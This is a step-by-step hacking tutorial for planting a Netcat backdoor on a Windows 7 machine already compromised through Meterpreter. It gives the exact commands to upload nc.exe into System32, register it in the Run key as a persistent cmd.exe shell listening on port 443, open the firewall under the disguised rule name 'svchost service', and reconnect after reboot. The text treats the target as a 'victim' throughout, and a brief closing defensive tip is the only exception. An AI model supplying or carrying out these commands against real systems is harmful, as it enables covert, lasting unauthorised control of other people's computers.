Level : Medium
O.S Target : Windows 7 ultimate
When an attacker successfully compromise a system they need to maintain the connection, that’s why the attacker usually installing backdoor on victim computer for future use to make attacker easily connect to victim computer to use victim resource, and collecting data on victim computer.
Are you sure netcat can be used as a backdoor? yes sure of course In this tutorial I will write down the technique to set up the famous listener application NetCat as a backdoor for Windows system when attacker successfully compromised victim computer and gaining meterpreter access.
1. NetCat 2. Meterpreter Script (you can get meterpreter script when successfully compromise victim with selected payload)
10 Steps to Use NetCat as a Backdoor in Windows 7 System:
1. The first step you need to gain an access to victim computer and get a meterpreter script for the payload ( I’m using java signed applet from my previous tutorial).
2. The next step you need to upload your NetCat.exe to victim computer by using following command :
upload /pentest/windows-binaries/tools/nc.exe C:\\windows\\system32 upload nc.exe and place it in C:\windows\system32 on victim computer
When it failed to upload(look the picture above), you need to escalate your privilege to system account (view the tutorial privilege escalation here). 3. When upload process successful it will shown like this :
4. The next step we need to configure the registry to make NetCat execute on Windows start up and listening on port 443. We do this by editing the key “HKLM\software\microsoft\windows\currentversion\run“. Enumerate the supplied registry key :
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
5. Then add our NetCat into start up process by running this command :
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' Successful set nc.
6. To check our backdoor autorun process and make sure it already added on autorun list :
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
7. Until this step everything looks okay, for the next step we need to alter the system to allow remote connections through the firewall to our netcat backdoor using netsh command and open port 443 . run shell command from meterpreter to access command prompt, and then run :
netsh advfirewall firewall add rule name="svchost service" dir=in action=allow protocol=TCP localport=443
netsh firewall show portopening
9. Yep everything has been set up so great until this step, now we will run our netcat to try connect to victim computer by running :
nc -v victim_ip_address port
10. Let’s try our backdoor by restarting the victim computer by using reboot command from meterpreter or shutdown -r -t 00 from windows console and try again to connect using NetCat in step 9.
meterpreter > reboot or C:\windows\system32>shutdown -r -t 00
If our netcat show up a console, then we’re successful inject a NetCat backdoor to victim computer.
1. When you have activated windows firewall, make sure you also have other personal firewall installed to detect inbound or outbound packet. Hope it’s useful